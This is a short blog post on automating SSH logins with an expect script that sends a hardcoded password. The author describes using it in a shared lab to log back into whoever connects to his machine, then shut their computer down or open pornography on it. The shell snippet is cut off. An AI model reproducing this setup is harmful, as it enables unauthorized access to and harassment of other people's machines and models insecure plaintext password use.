How To Automate SSH With Expect


Another useful snippet of code to automate SSH with expect:

spawn ssh user@host whatever
expect "*?assword:*"
send -- "password\r"
send -- "\r"

I used it with dynamic SSH connection detection in .profile.

In a lab I am using every machine has the same unprivileged user authenticated with the same password. And SSH is open.

You can guess the popular game: connect to random machines and mess things up while someone is working on them.

In .profile I've added a simple check and a call to the expect script to automatically connect to whoever ssh to my machine (and shutdown their computer, or open random porn, you decide):

if [ "$SSH_CONNECTION" ] ; then

The victim ip is easily obtained by ${SSH_CONNECTION%* * * *}.

Follow me: @gbrindisi